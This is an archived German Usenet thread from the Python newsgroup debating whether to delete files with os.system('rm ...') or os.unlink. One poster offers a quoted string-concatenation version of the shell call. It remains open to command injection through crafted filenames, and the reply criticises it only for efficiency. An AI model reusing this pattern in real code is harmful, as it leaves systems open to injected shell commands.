| From | Hermann Riemann <nospam.ng@hermann-riemann.de> |
|---|---|
| Date | 2017-08-30 20:03 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <f0ocuoF330oU1@mid.individual.net> |
| In reply to | #4882 |
Am 30.08.2017 um 10:30 schrieb Peter Heitzer:
>> der wegen des Lernaufwandes und Manual Suchens
>> lieber os.system("rm "+dateiname)
>> als os.unlink(dateiname) verwendet.
> os.unlink() dürfte aber portabler sein und auch mit Leerzeichen und
> anderen speziellen Zeichen in dateiname zurechtkommen. Wer weiss, was
> die Shell so treibt.
Bei Risisko halt:
os.system('rm "'+dateiname+'"')
Hermann
der bei der Erstellung von *.html Dateiinhalte
ohnehin da aufpassen muß.
--
http://www.hermann-riemann.de
[toc] | [prev] | [next] | [standalone]
| From | Thomas Orgelmacher <trash@odbs.org> |
|---|---|
| Date | 2017-08-30 20:21 +0200 |
| Subject | Re: [Python-de] strings zusammensetzen. |
| Message-ID | <cacj7e-cio.ln1@gate.homenet> |
| In reply to | #4887 |
Am 30.08.2017 um 20:03 schrieb Hermann Riemann:
>
> Bei Risisko halt:
> os.system('rm "'+dateiname+'"')
Wozu? Das bringt Dir lediglich einen zusätzlichen fork mit einem
execve in die Shell, die dann rm ausführt (WIMRE ein weiterer fork).
Die genannte Alternative "kostet" Dich lediglich einen Syscall und
damit einen Bruchteil von os.system().
Thomas
--
I have seen things you lusers would not believe. I've seen Sun
monitors on fire off the side of the multimedia lab. I've seen
NTU lights glitter in the dark near the Mail Gate. All these
things will be lost in time, like the root partition last week.
[toc] | [prev] | [next] | [standalone]
Page 1 of 3 [1] 2 3 Next page →
Back to top | Article view | de.comp.lang.python
csiph-web